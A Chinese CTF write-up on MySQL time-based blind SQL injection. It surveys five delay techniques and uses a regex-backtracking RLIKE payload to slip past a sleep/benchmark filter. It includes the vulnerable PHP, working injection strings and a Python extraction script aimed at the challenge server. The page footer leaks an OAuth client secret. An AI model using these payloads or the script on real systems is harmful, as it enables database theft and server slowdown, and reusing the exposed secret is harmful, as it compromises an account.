MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

[CTF]

2018-03-30 17:59:26 cdxy PHP,Mysql,CTF,pwnhub

PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数，引发对时间盲注中延时方法的思考。

延时函数

- SLEEP

```
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)
```

- BENCHMARK

```
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (2.79 sec)
```

- 笛卡尔积 Writeup()

```
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+------------+
| count(*)   |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)
```

- GET_LOCK Writeup(https://zhuanlan.zhihu.com/p/35245598)

延时精确可控，利用环境有限，需要开两个session测试。

SESSION A

```
mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)
```

SESSION B

```
mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.00 sec)
```

- RLIKE

通过 `rpad` 或 `repeat` 构造长字符串，加以计算量大的pattern，通过repeat的参数可以控制延时长短。

```
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
```

PWNHUB-全宇宙最简单的PHP-Writeup

```
<?php
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
    die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
    die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
?>
```

上面代码明显可从 `id` 参数注入代码到MySQL UPDATE语句。

从时间盲注的角度解，题中除过滤掉 `sleep` 和 `benchmark` 两个延时函数之外，并无其他限制。

思路：寻找新的延时函数

想到日常数据开发中自己的SQL中多次因正则消耗计算资源，又想到某次白帽大会上关于正则Dos的议题，然后开始朝 `RLIKE` 尝试。

```
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),
rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,
999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
```

以上代码等同于 `sleep(5)`

本地测试

```
mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5 from dual),1,1)='5',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK, 0 rows affected (5.08 sec)
Rows matched: 0  Changed: 0  Warnings: 0

mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5),1,1)='1',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0
```

Docker起了个PHP 5.6+MySQL，代码copy过去，构建相同环境测试脚本，爆破到正确字符时，测试机会延时10s左右；遇到错误字符会在0.1s以内返回，可以明显区分。

本地测试执行 `version()` 的结果：

```
N  -  0.0232281684875
O  -  0.0197539329529
P  -  0.028028011322
Q  -  0.0212018489838
R  -  0.0244557857513
S  -  0.0253188610077
T  -  0.0281682014465
U  -  0.0236928462982
V  -  0.0221898555756
W  -  0.0275118350983
X  -  0.0206508636475
Y  -  0.0258479118347
Z  -  0.0194098949432
@  -  0.0250370502472
{  -  0.0211541652679
}  -  0.0245869159698
-  -  0.0192731937281
_  -  0.0247149467468
.  -  0.0188128948212
Error or Finished.
Current Result: 5.5.59-0ubuntu0.14.04.1[NULL][NULL]
```

线上测试

线上就很蛋疼了。首先环境是每5min重启一次，每次只能在重启的瞬间(0.5s)打上10条请求，然后服务器就被用笛卡尔积的同学打挂了。

二分法懒得搞了，在脚本里加了一些纠错机制，线上环境正误尝试的时间差降为0.2s左右，但仍可以区分。

```
# !/usr/bin/env python
#  -*- coding: utf-8 -*-
import requests
from requests.exceptions import ReadTimeout, ConnectionError
from urllib import quote
import time
import re

payloads = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.'

url = 'http://52.80.179.198:8080/article.php?id='
# url = 'http://localhost:8090/article.php?id='


# 替代sleep()
# 14s
# sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"

# 5s
sleep_func = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"

# 本地测试代码
def run_local(query):
    def brute_single_char(target_index):
        for c in payloads:
            payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
            confirm_cnt = 0
            # print payload
            for i in range(10000):  # 为了宕机重试
                if confirm_cnt > 3:  # 连续四次正确尝试，保存结果
                    print 'FOUND!!! ' + c
                    return c

                time_start = time.time()
                try:
                    req = requests.get(url + quote(payload), timeout=20)
                    if 'Warning' in req.content:
                        print req.content
                    if 'helloworld' not in req.content:
                        print c, 'MySQL Down, retry...'
                        # print req.content
                        continue
                except ReadTimeout:  # 时间长：正确尝试
                    print c, ' - timeout, retry...'
                    # confirm_cnt += 1
                    continue
                except ConnectionError:
                    print c, 'Web Server Down, retry...'
                    continue

                # print ans.content
                time_end = time.time()
                print c, ' - ', time_end - time_start
                if time_end - time_start < 5:  # 时间短：错误尝试
                    # print 'false:' + c
                    break
                confirm_cnt += 1
        return '[NULL]'  # 全部字母未命中

    result = ''
    try:
        for index in range(1, 100):
            if len(re.findall(r'\[NULL\]', result)) > 2:
                print 'Error or Finished. \nCurrent Result: ' + result
                return
            result += brute_single_char(index)
    except KeyboardInterrupt:
        print result



# 线上测试代码
def run_sort(query):
    def brute_single_char(target_index):
        timelist = {}
        for c in payloads:
            payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func)
            for i in range(10000):  # 为了宕机重试
                time_start = time.time()
                try:
                    req = requests.get(url + quote(payload), timeout=2)
                    if 'helloworld' not in req.content:
                        continue
                except ReadTimeout:
                    print c, ' - timeout, retry...'
                    continue
                except ConnectionError:
                    continue

                time_end = time.time()
                print c, ' - ', time_end - time_start
                timelist[c] = time_end - time_start
                break
        if not len(timelist):
            return '[NULL]'  # 全部字母未命中
        rec = sorted(timelist.items(), key=lambda item: item[1])
        print rec
        return rec[-1]

    result = []
    try:
        for index in range(7, 100):
            print '________INDEX {}_______'.format(index)
            result.append(brute_single_char(index))
            if result[-1] is '[NULL]':
                print 'Error or Finished. \nCurrent Result: '
                print result
                return
    except KeyboardInterrupt:
        print result

if __name__ == '__main__':
    run_sort('(select * from flags)')
```

以下爆破结果中，3为正确结果，其余为错误结果。

```
1  -  0.0639481544495
2  -  0.0795040130615
3  -  0.3621571064
4  -  0.0846300125122
5  -  0.0894010066986
6  -  0.0945949554443
7  -  0.0842099189758
8  -  0.0861508846283
9  -  0.0922508239746
```

之后依次执行以下代码get flag（跑了多少个小时我也不知道。。。）

```
select count(*) from article -> 3

database() -> post

select count(table_name) from information_schema.tables where table_schema='post' -> 3

select length(table_name) from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and tabl
e_name<>\'view\' —> 5

select table_name from information_schema.tables where table_schema=\'post\' and table_name<>\'article\' and table_name<>
\'view\' -> flags

select count(*) from flags -> 1

select * from flag
```

Like

Issue Page(undefined)

Error: Comments Not Initialized

(https://github.com/login/oauth/authorize?
scope=public_repo&redirect_uri=https%3A%2F%2Fwww.cdxy.me%2F%3Fp%3D789&client_id=20c57480e2842b102655&client_secret=776b4e9d5868c636b006e

n/login/oauth/authorize?
irect_uri=https%3A%2F%2Fwww.cdxy.me%2F%3Fp%3D789&client_id=20c57480e2842b102655&client_secret=776b4e9d5868c636b006ecd87aaff6df793116f7)

Write Preview

Leave a comment

Styling with Markdown is supported (https://guides.github.com/features/mastering-markdown/)

Comment

Powered by Gitment (https://github.com/imsun/gitment)